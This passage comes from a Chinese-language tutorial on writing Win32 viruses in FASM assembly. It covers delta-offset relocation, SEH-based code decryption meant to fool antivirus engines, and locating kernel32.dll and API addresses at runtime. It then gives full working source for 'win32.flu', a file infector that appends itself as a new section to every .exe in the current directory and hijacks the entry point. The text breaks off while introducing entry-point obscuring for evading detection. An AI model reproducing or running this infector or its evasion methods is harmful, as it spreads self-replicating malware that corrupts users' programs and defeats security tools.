可見,pszText的地址是在編譯時計算好的。我們的病毒代碼如果要插入到宿主體內,那麼這個地址就不正確了。我們必須使我們的這個地址是在運行時計算出來的。這就是病毒中經典的重定位問題。考慮如下代碼:
format PE GUI 4.0
call delta
delta:
pop ebp
sub ebp,delta
lea esi,dword [ebp+pszText]
ret
pszText db '#$%*(*)@#$%',0
我們再來看看這次我們的代碼被翻譯成了什麼樣 :P
001B:00401000 E800000000 CALL 00401005
001B:00401005 5D POP EBP
001B:00401006 81ED05104000 SUB 00401005
001B:0040100C 8DB513104000 LEA ESI,[EBP+00401013]
001B:00401012 C3 RET
001B:00401013 ...
我們首先用call/pop指令得到了delta在內存中的實際地址(爲什麼要用這樣一個call/pop
結構呢?我們看到這個call被翻譯成E8 00 00 00 00,後面的00000000爲相對地址,所以這
個指令被翻譯成mov 00401005。因爲後面是一個相對地址,所以當這段代碼被插入到宿主中
後這個call依然可以得到正確的地址),在這個程序中是00401005。然後得到delta的偏移
地址(offset),這個地址也是00401005,但我們從指令的機器碼中看到這個地址是個絕對
地址。我們用這個實際的地址減去這個絕對的偏移地址就得到了這個程序段對於插入前原程
序段的偏移量。這是什麼意思呢,上面的程序其實根本不需要重定位,讓我們來考慮這樣一
個情況:
假設上面的代碼被插入到了宿主中。假設插入的地址爲00501000(取這個地址是爲了計算方
便 :P),這時通過call/pop得到delta的地址爲00501005。但delta的offset是在編譯時計算
的絕對地址,所以仍爲00401005。這兩個值相減就得到了這個程序段相對於原程序段的偏移
量00100000。這就意味着我們所有地址操作都要加上這個偏移才能調整到正確的地址。這就
是代碼的自身重定位。
當然這種重定位還可以寫成別的形式,比如:
call
shit:
...
delta:
pop ebp
sub ebp,shit
...
等等... 這些就留給讀者自己去分析吧。
4. SEH
-------
我們都知道,在x86系列中,保護模式下的異常處理是CPU通過在IDT中查詢相應的異常處理
例程來完成的。Win32中,系統利用SEH(Structured Exception Handling,結構化異常處
理)來實現對IDT內異常的處理。同時,SEH還被用來處理用戶自定義異常。
可能讀者對SEH這個詞不很熟悉,但對於下邊的程序大家也許都不會感到陌生:
#pragma warning (disable: 4723)
#include <windows.h>
#include <iostream>
using namespace std;
int main (int argc, char *argv[])
{
__try
{
int a=0,b=456;
a=b/a;
}
__except (GetExceptionCode () == EXCEPTION_INT_DIVIDE_BY_ZERO ?
EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
cout<<"產生除0異常/n"<<endl;
}
return 0;
}
這裏的__try / __except用到的就是SEH。下面我們來看一下SEH的工作原理。在Win32的線
程中,FS總是指向一個叫做TIB(Thread Information Block,線程信息塊)的結構,在NT
系統中這個結構爲TEB(Thread Environment Block,線程環境塊)。我們不需要清楚整個
結構,我們只需要知道這個結構的第一個雙字是指向EXCEPTION_REGISTRATION結構的指針。
; 這是FASM對結構的定義,熟悉一下 :P
struc EXCEPTION_REGISTRATION
{
.prev dd ?
.handler dd ?
}
prev字段指向下一個ER結構。handler指向異常處理例程。這是一個典型的鏈表結構。每當
有異常發生時,SEH機制被激活。然後SEH通過TIB/TEB找到ER鏈,並搜尋合適的異常處理例
程。
下面我們看一個簡單的程序,這個程序演示了怎樣利用SEH來除錯。
format PE GUI 4.0
entry __start
section '.text' code readable executable
__start:
xor eax,eax
xchg [eax],eax
ret
運行程序,發現產生了異常,下面我們把上面的代碼前面加上這兩句:
push dword [fs:0]
mov [fs:0],esp
再次運行程序,怎麼樣?程序正常退出了。打開SOFTICE並加載該程序進行調試。查看ESP指
向的地址:
: d esp2
0023:0006FFC4 C7 14 E6 77 ..
可知程序RET後的返回地址爲77e614c7h,所以查看這個地址處的代碼:
: u 77e614c7
001B:77E614C7 PUSH EAX
001B:77E614C8 CALL Kernel32! ExitThread
可見,程序被加載到內存後棧頂的雙字指向ExitThread,我們的程序就是簡單地把這個函數
當做了異常處理例程。這樣當有異常發生是程序便退出了,沒有了那個討厭的異常對話框。
當然,我們利用SEH的目的並不是簡單地讓程序在發生錯誤時直接退出。多數教程在將SEH時
都會舉除0錯誤並用SEH除錯的例子。這樣的例子太多了,google上可以搜到很多,所以這裏
我就不做無用功了 :P 下面的例子演示了一個利用SEH解密的例子:
format PE GUI 4.0
entry __start
;
; code section...
;
section '.text' code readable writeable executable
_decript:
mov ecx,encripted_size ; decript
mov esi,encripted
mov edi,esi
decript:
lodsb
xor al,15h
stosb
loop decript
mov eax,[esp+0ch] ; context
mov dword [eax+0b8h],encripted
xor eax,eax ; ExceptionContinueExecution
ret
__start:
lea eax,[esp-8] ; setup seh frame
xchg eax,[fs:0]
push _decript
push eax
mov ecx,encripted_size ; encript
mov esi,encripted
mov edi,esi
encript:
lodsb
xor al,15h
stosb
loop encript
int 3 ; start decription
encripted:
xor eax,eax ; simply show a message box
push eax
call push_caption
db 'SEH',0
push_caption:
call push_text
db 'A simple SEH test :P',0
push_text:
push eax
call [MessageBox]
encripted_size = $-encripted
ret
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
程序分爲三個部分:建立自定義異常處理例程、加密代碼、利用SEH解密。下面我們對這三個
部分分別進行分析。
程序首先在堆棧上騰出一個ER空間(lea),然後然後使FS:0指向它。之後填充這個ER結構,
prev字段填爲之前的FS:[0],handler字段爲自定義的異常處理例程_decript。這樣我們就
完成了SEH的修改。
下面是代碼的加密,這段代碼在後面的章節會講到。這裏是簡單地把被加密代碼的每個字節
與一個特定的值(程序中是15h)相異或(再次異或即解密),這就是最簡單的加密手段。
之後我們用int 3引發一個異常,這時我們的_decript被激活,我們使用與加密完全相同的
代碼解密。到這裏,我們還是在複習前面的知識 :P 後面的代碼有點費解了,沒關係,讓我
們來慢慢理解 :P
我們先來看看SEH要求的異常處理例程回調函數原形:
VOID WINAPI (*_STRUCTURED_EXCEPTION_HANDLER) (
PEXCEPTION_RECORD pExceptionRecord,
PEXCEPTION_REGISTRATION pSEH,
PCONTEXT pContext,
PEXCEPTION_RECORD pDispatcherContext
);
我們先來看一下EXCEPTION_RECORD結構:
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD, *PEXCEPTION_RECORD;
ExceptionCode字段定義了產生異常的原因,下面是WinNT.h中對異常的部分定義:
...
#define STATUS_GUARD_PAGE_VIOLATION ((DWORD )0x80000001L)
#define STATUS_DATATYPE_MISALIGNMENT ((DWORD )0x80000002L)
#define STATUS_BREAKPOINT ((DWORD )0x80000003L)
#define STATUS_SINGLE_STEP ((DWORD )0x80000004L)
#define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L)
#define STATUS_IN_PAGE_ERROR ((DWORD )0xC0000006L)
#define STATUS_INVALID_HANDLE ((DWORD )0xC0000008L)
#define STATUS_NO_MEMORY ((DWORD )0xC0000017L)
#define STATUS_ILLEGAL_INSTRUCTION ((DWORD )0xC000001DL)
...
我們並不太關心這個結構的其他字段。下面我們需要理解的是CONTEXT結構。我們知道Win-
dows爲線程循環地分配時間片,當一個線程被掛起後,爲了以後它還可以恢復運行,系統必
須保存其線程環境。對一個線程來說,其環境就是各個寄存器的值,只要寄存器的值不變其
線程環境就沒有變。所以只需要把這個線程的寄存器狀態保存下來就可以了。Windows用一個
CONTEXT結構來保存這些寄存器的狀態。下面是WinNT.h中對CONTEXT的定義:
typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT, *PCONTEXT;
最後我們再來說一下這個異常處理過程的返回值,這個返回值決定了程序下一步的執行情
況,很多人在剛剛接觸SEH的時候總是忽略這個返回值,導致程序不能得到正確的結果,我
就犯過這樣的錯誤 :P
SEH異常處理例程的返回值有4種定義:
ExceptionContinueExecution(=0):返回後系統把線程環境設置爲CONTEXT的狀態後繼續
執行。
ExceptionContinueSearch(=1):表示這個異常處理例程拒絕處理這個異常,系統會根據
ER的prev字段搜索下一個異常處理例程並調用它。
ExceptionNestedException(=2):表示發生了嵌套異常,即異常處理例程中發生了新的異
常。
ExceptionCollidedUnwind(=3):發生了嵌套的展開。
現在我們再回過頭來看我們剛纔的代碼,程序中首先通過mov eax,[esp+0ch]得到CONTEXT結
構,然後通過mov dword [eax+0b8h],encripted把encripted的地址寫到CONTEXT的Eip字段
中。這樣,當這個異常處理以ExceptionContinueExecution返回時程序就會執行Eip處開始
的代碼了。而異常處理中的代碼是很難動態跟蹤的,我們可以利用SEH的這個特點騙過一些
殺毒軟件 :P
-----------
5. API函數地址的獲得
--------------------
回憶一下剛纔我們是如何調用API的:首先,引入表是由一系列的IMAGE_IMPORT_DESCRIPTOR
結構組成的,這個結構中有一個FirstThunk字段,它指向一個數組,這個數組中的值在文件
被pe ldr加載到內存後被改寫成函數的真正入口。一些編譯器在調用API時把後面的地址指向
一個跳轉表,這個跳轉表中的jmp後面的地址就是FirstThunk中函數的真正入口。對於FASM
編譯器,由於PE文件的引入表是由我們自己建立的,所以我們可以直接使用FirstThunk數組
中的值。
無論是哪種情況,總之,call的地址在編譯時就被確定了。而我們的病毒代碼是要插入到宿
主的代碼中去的,所以我們的call指令後面的地址必須是在運行時計算的。那麼怎麼找到API
函數的地址呢?我們可以到宿主的引入表中去搜索那個對應函數的FirstThunk,但是這樣做
有一個問題,我們需要函數並不一定是宿主程序需要的。換句話說,就是可能我們需要的函
數在宿主的引入表中不存在。這使我們不得不考慮別的實現。我們可以直接從模塊的導出表
中搜索API的地址。
5.1 暴力搜索kernel32.dll
------------------------
在kernel32.dll中有兩個API -- LoadLibraryA和GetProcAddress。前者用來加載一個動態
鏈接庫,後者用來從一個已加載的動態鏈接庫中找到API的地址。我們只要得到這兩個函數
就可以調用任何庫中的任意函數了。
在上一節中我們說過,程序被加載後[esp]的值是kernel32.dll中的ExitThread的地址,所以
我們可以肯定kernel32.dll是一定被加載的模塊。所以我們第一步就是要找到kernel32.dll
在內存中的基地址。
那麼我們從哪裏入手呢?我們可以使用硬編碼,比如Win2k下一般是77e60000h,WinXP SP1
是77e40000h,SP2是7c800000h等。但是這麼做不具有通用性,所以這裏我們介紹一個通用
也是現在最流行的方法:暴力搜索kernel32.dll。
大概的思想是這樣的:我們只要找到得到任意一個位於kernel32.dll地址空間的地址,從這
個地址向下搜索就一定能得到kernel32.dll的基址。還記得剛纔說的那個[esp]麼,那個
ExitThread的地址就是位於kernel32.dll中的,我們可以從這裏入手。考慮如下代碼:
mov edi,[esp] ; get address of kernel32!ExitThread
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe:
dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
xor edi,edi ; base not found
krnl_found:
... ; now EDI contains the kernel base
; zero if not found
程序首先把ExitThread的地址和0ffff0000h相與,因爲kernel32.dll在內存中一定是1000h字
節對齊的(什麼?爲什麼?還記得IMAGE_OPTIONAL_HEADER中的SectionAlignment麼 :P)。
然後我們比較EDI指向的字單元是不是MZ標識,如果不是那麼一定不是一個PE文件的起始位
置;如果是,那麼我們就得到e_lfanew。我們先檢查這個偏移是不是小於4k,因爲這個值一
般是不會大於4k的。如果仍然符合條件,我們把這個值與EDI相加,如果EDI就是kernel32的
基址那麼這時相加的結果應該指向IMAGE_NT_HEADER,所以我們檢查這個字單元,如果是PE
標識,那麼我們可以肯定這就是我們要找的kernel32了;如果不是把EDI的值減少4k並繼續
查找。一般kernel32.dll的基址不會低於70000000h的,所以我們可以把這個地址作爲下界,
如果低於這個地址我們還沒有找到kernel32那麼我們可以認爲我們找不到kernel32了 :P
但是上面的作爲有一些缺陷,因爲我們的代碼是要插入到宿主體內的,所以我們不能保證在
我們的代碼執行前堆棧沒有被破壞。假如宿主在我們的代碼執行前進行了堆棧操作那麼我們
很可能就得不到kernel32.dll了。
還有一個方法,就是遍歷SEH鏈。在SEH鏈中prev字段爲0ffffffffh的ER結構的異常處理例程
是在kernel32.dll中的。所以我們可以找到這個ER結構,然後...
下面我給出一個完整的程序,演示瞭如何搜索kernel32.dll並顯示:
format PE GUI 4.0
entry __start
;
; code section...
;
section '.text' code readable writeable executable
szText: times 20h db 0
;
; _get_krnl_base: get kernel32.dll's base address
;
; input:
; nothing
;
; output:
; edi: base address of kernel32.dll, 0 if not found
;
_get_krnl_base:
mov esi,[fs:0]
visit_seh:
lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl:
lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe:
dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
xor edi,edi ; base not found
krnl_found:
ret
;
; main entrance...
;
__start:
call _get_krnl_base
push edi ; now EDI contains the kernel base
call push_format ; zero if not found
db 'kernel32 base = 0x%X',0
push_format:
push szText
call [wsprintf]
add esp,0ch
xor eax,eax
push eax
call push_caption
db 'kernel',0
push_caption:
push szText
push eax
call [MessageBox]
ret
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
wsprintf dd RVA __imp_wsprintf
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
__imp_wsprintf dw 0
db 'wsprintfA',0
5.2 搜索導出表,獲取API地址
----------------------------
在開始之前,如果大家對前面導出表的知識還不熟悉,那麼請務必再複習一遍,否則後邊的
內容會顯得很晦澀...
好了,我們繼續吧 :P
整個搜索的過程說起來很簡單,但做起來很麻煩,讓我們一點一點來。首先我們要先導出函
數名稱表中找到我們要得到的函數,並記下它在這個數組中的索引值。然後通過這個索引值
在序號數組中找到它對應的序號。最後通過這個序號在導出函數入口表中找到其入口。
下面我們慢慢來。先要匹配函數名。假設edx中存放着kernel32.dll的基址,esi中存放着API
的名稱。考慮如下代碼:
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,ebp
mov ecx,dword [esp+08h] ; length of API name
mov esi,dword [esp+0ch] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,ebp
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
上面的代碼首先把kernel32.dll的基址複製到ebx中保存,然後計算了API名稱的長度(包括
零)並進行匹配,如果匹配成功則edx包含了這個函數在函數名數組中的索引值。下面在序號
數組中通過這個索引值得到這個函數的序號。考慮如下代碼:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
首先我們可以得到序號數組的RVA,然後把這個值與模塊(這裏是kernel32.dll)的基地址
相加,這樣就得到了數組的內存地址。由於序號數組是WORD型的,所以我們的索引值必須要
乘以2。然後通過這個值在數組中索引到函數在導出函數入口表中的索引。由於這個數組是
DWORD型的,所以我們這個索引要乘以4。我們很容易得到導出函數入口表的內存地址。最後
我們通過剛纔的索引得到函數的入口地址。
下面我們看一個完整的代碼:
format PE GUI 4.0
entry __start
;
; code section...
;
section '.text' code readable writeable executable
;
; _get_krnl_base: get kernel32.dll's base address
;
; input:
; nothing
;
; output:
; edi: base address of kernel32.dll, zero if not found
;
_get_krnl_base:
mov esi,[fs:0]
visit_seh:
lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl:
lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe:
dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
xor edi,edi ; base not found
krnl_found:
ret
;
; _get_apiz: get apiz from a loaded module, something like GetProcAddress
;
; input:
; edx: module handle (module base address)
; esi: API name
;
; output:
; eax: API address, zero if fail
;
_get_apiz:
push ebp
mov ebp,esp
push ebx
push ecx
push edx
push esi
push edi
or edx,edx ; module image base valid?
jz return
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
push edi ; save address of export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,eax
mov ecx,dword [esp+0ch] ; length of API name
mov esi,dword [esp+10h] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,eax
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
api_not_found:
xor eax,eax
xor edi,edi
jmp return
api_name_found:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
return:
add esp,14h
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp,ebp
pop ebp
ret
;
; main entrance...
;
__start:
call _get_krnl_base ; get kernel32.dll base address
or edi,edi
jz exit
xchg edi,edx ; edx <-- kernel32.dll's image base
call @f
db 'LoadLibraryA',0
@@:
pop esi ; esi <-- api name
call _get_apiz
or eax,eax
jz exit
mov [__addr_LoadLibrary],eax
call @f
db 'GetProcAddress',0
@@:
pop esi
call _get_apiz
or eax,eax
jz exit
mov [__addr_GetProcAddress],eax
call @f
db 'user32.dll',0
@@:
mov eax,12345678h
__addr_LoadLibrary = $-4
call eax
call @f
db 'MessageBoxA',0
@@:
push eax
mov eax,12345678h
__addr_GetProcAddress = $-4
call eax
xor ecx,ecx
push ecx
call @f
db 'get_apiz',0
@@:
call @f
db 'Can you find the import section from this app ^_^',0
@@:
push ecx
call eax
exit:
ret
6. 實現一個最簡單的病毒
------------------------
在這一節,我們來看一個最簡單的病毒,一個search+infect+payload的direct action病毒 :P
嗯...有什麼好解釋的呢?似乎過於簡單了,我們還是直接看代碼吧:
format PE GUI 4.0
entry _vStart
include 'useful.inc'
virtual at esi
vMZ_esi IMAGE_DOS_HEADER
end virtual
virtual at esi
vFH_esi IMAGE_FILE_HEADER
end virtual
virtual at esi
vOH_esi IMAGE_OPTIONAL_HEADER
end virtual
.coderwe
_vStart:
call delta
delta: pop ebp
call _get_krnl
or edi,edi
jz jmp_host
xchg edi,edx
lea esi,[ebp+api_namez-delta]
lea edi,[ebp+api_addrz-delta]
get_apiz: call _get_apiz
or eax,eax
jz apiz_end
stosd
jmp get_apiz
wfd WIN32_FIND_DATA
apiz_end:
cmp ebp,delta ; is this the origin virus?
jz infect_filez
@pushsz 'user32.dll'
call [ebp+__addr_LoadLibraryA-delta]
or eax,eax
jz jmp_host
xchg eax,edx
@pushsz 'MessageBoxA'
pop esi
call _get_apiz
xor esi,esi
@call eax,esi,'This file has been infected... :P','win32.flu',esi
call infect_filez
jmp jmp_host
infect_filez:
lea eax,[ebp+wfd-delta]
push eax
@pushsz '*.exe'
call [ebp+__addr_FindFirstFileA-delta]
inc eax
jz jmp_host
dec eax
mov dword [ebp+hFindFile-delta],eax
next_file: lea esi,[ebp+wfd.WFD_szFileName-delta]
call _infect_file
lea eax,[ebp+wfd-delta]
push eax
push 12345678h
hFindFile = $-4
call [ebp+__addr_FindNextFileA-delta]
or eax,eax
jnz next_file
push dword [hFindFile]
call [ebp+__addr_FindClose-delta]
ret
; get kernel32.dll image base...
_get_krnl:
@SEH_SetupFrame <jmp seh_handler>
mov esi,[fs:0]
visit_seh: lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl: lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe: dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
seh_handler:
xor edi,edi ; base not found
krnl_found:
@SEH_RemoveFrame
ret
; get apiz using in virus codez...
_get_apiz:
pushad
xor eax,eax
cmp byte [esi],0
jz ret_value
or edx,edx ; module image base valid?
jz return
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
mov dword [vPushad_ptr.Pushad_esi+08h],edi
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
push edi ; save address of export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,eax
mov ecx,dword [esp+0ch] ; length of API name
mov esi,dword [esp+10h] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,eax
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
api_not_found:
xor eax,eax
xor edi,edi
jmp return
api_name_found:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
return: add esp,14h
ret_value: mov [vPushad_ptr.Pushad_eax],eax
popad
ret
; file infecting procedure...
_infect_file:
pushad
@FILE_CreateFileRW [ebp+__addr_CreateFileA-delta],esi
inc eax
jz end_infect
dec eax
mov [ebp+hFile-delta],eax
@FILE_CreateFileMappingRW [ebp+__addr_CreateFileMappingA-delta],eax,NULL
or eax,eax
jz close_file
mov [ebp+hFileMapping-delta],eax
@FILE_MapViewOfFileRW [ebp+__addr_MapViewOfFile-delta],eax
or eax,eax
jz close_map
mov [ebp+pMem-delta],eax
xchg eax,esi
cmp word [esi],'MZ' ; check if it's a PE file
jnz unmap_file ; (MZ has the same ext. name
mov eax,[vMZ_esi.MZ_lfanew] ; .exe :P)
test ax,0f000h
jnz unmap_file
add esi,eax ; esi: IMAGE_NT_HEADER
lodsd ; esi: IMAGE_FILE_HEADER
cmp ax,'PE'
jnz unmap_file
cmp dword [esi-8],32ef12abh ; signature...
jz unmap_file
test word [vFH_esi.FH_Characteristics],IMAGE_FILE_SYSTEM
jnz unmap_file ; don't infect system filez
movzx eax,[vFH_esi.FH_NumberOfSections]
mov ecx,28h
imul ecx
add eax,vImageNtHeader.size
lea edx,[esi-4]
add eax,edx
mov edi,eax ; edi: ptr to new section table
add eax,ecx
sub eax,dword [ebp+pMem-delta]
cmp eax,[esi+vImageFileHeader.size+vImageOptionalHeader.OH_SizeOfHeaders]
ja unmap_file
inc [vFH_esi.FH_NumberOfSections] ; increase number of sections
add esi,vImageFileHeader.size ; esi: IMAGE_OPTIONAL_HEADER
xor edx,edx
mov ecx,[vOH_esi.OH_FileAlignment]
mov eax,virus_size
idiv ecx
sub ecx,edx
add ecx,virus_size
mov dword [ebp+dwSizeOfRawData-delta],ecx
mov eax,[vOH_esi.OH_SizeOfImage]
mov dword [ebp+dwVirtualAddress-delta],eax
lea edx,[vOH_esi.OH_AddressOfEntryPoint]
mov ebx,[edx]
add ebx,[vOH_esi.OH_ImageBase]
xchg dword [ebp+__addr_host-delta],ebx
mov [edx],eax
add [vOH_esi.OH_SizeOfImage],ecx
lea eax,[esp-4]
push eax
push dword [ebp+hFile-delta]
call [ebp+__addr_GetFileSize-delta]
mov dword [ebp+dwPointerToRawData-delta],eax
push esi ; save esi
call @f
db '.flu',0,0,0,0
dd virus_size
dd 12345678h
dwVirtualAddress = $-4
dd 12345678h
dwSizeOfRawData = $-4
dd 12345678h
dwPointerToRawData = $-4
dd 0,0,0
dd 0E0000020h ; read-write executable
db 'PKER / CVC.GB' ; a little signature :P
@@: pop esi
mov ecx,0ah
rep movsd
pop esi ; restore
mov dword [esi-vImageFileHeader.size-8],32ef12abh ; signature
xor eax,eax
push eax
push eax
push dword [ebp+dwPointerToRawData-delta]
push dword [ebp+hFile-delta]
call [ebp+__addr_SetFilePointer-delta]
push 0
lea eax,[ebp+dwVirtualAddress-delta]
push eax
push dword [ebp+dwSizeOfRawData-delta]
lea eax,[ebp+_vStart-delta]
push eax
push dword [ebp+hFile-delta]
call [ebp+__addr_WriteFile-delta]
xchg dword [ebp+__addr_host-delta],ebx
unmap_file: push 12345678h
pMem = $-4
call [ebp+__addr_UnmapViewOfFile-delta]
close_map: push 12345678h
hFileMapping = $-4
call [ebp+__addr_CloseHandle-delta]
close_file: push 12345678h
hFile = $-4
call [ebp+__addr_CloseHandle-delta]
end_infect:
popad
ret
; go back to host...
jmp_host: mov eax,12345678
__addr_host = $-4
jmp eax
; apiz used in virus...
api_namez: db 'LoadLibraryA',0
db 'CreateFileA',0
db 'CloseHandle',0
db 'CreateFileMappingA',0
db 'MapViewOfFile',0
db 'UnmapViewOfFile',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'FindClose',0
db 'GetFileSize',0
db 'SetFilePointer',0
db 'WriteFile',0
db 0
api_addrz: __addr_LoadLibraryA dd ?
__addr_CreateFileA dd ?
__addr_CloseHandle dd ?
__addr_CreateFileMappingA dd ?
__addr_MapViewOfFile dd ?
__addr_UnmapViewOfFile dd ?
__addr_FindFirstFileA dd ?
__addr_FindNextFileA dd ?
__addr_FindClose dd ?
__addr_GetFileSize dd ?
__addr_SetFilePointer dd ?
__addr_WriteFile dd ?
_vEnd:
virus_size = $-_vStart
這個病毒(簡單的簡直不能稱之爲病毒 :P)感染當前目錄下的所有.exe文件(PE格式,不感
染DOS格式的可執行文件)。不過這個病毒在感染上有一些bug,對於壓縮的程序會有問題:(
測試一下試試,是不是被NAV殺掉了呢?:P
7. EPO
------
爲什麼我們的Win32.flu會就被NAV認定爲是病毒呢? Vxk/CVC告訴我們,AV虛擬機在對程序
入口進行檢查時有一個會規定一個範圍,如果程序的入口地址超過了某一個範圍(閾值)而
程序又沒有殼特徵,那麼就會被認爲是病毒。
那有什麼辦法讓avsoft認不出我們的病毒麼?我們可以試一試EPO(Entry Point Obscuring
入口模糊技術)。所謂入口模糊技術是指不修改宿主代碼入口點的感染。既然不修改入口,
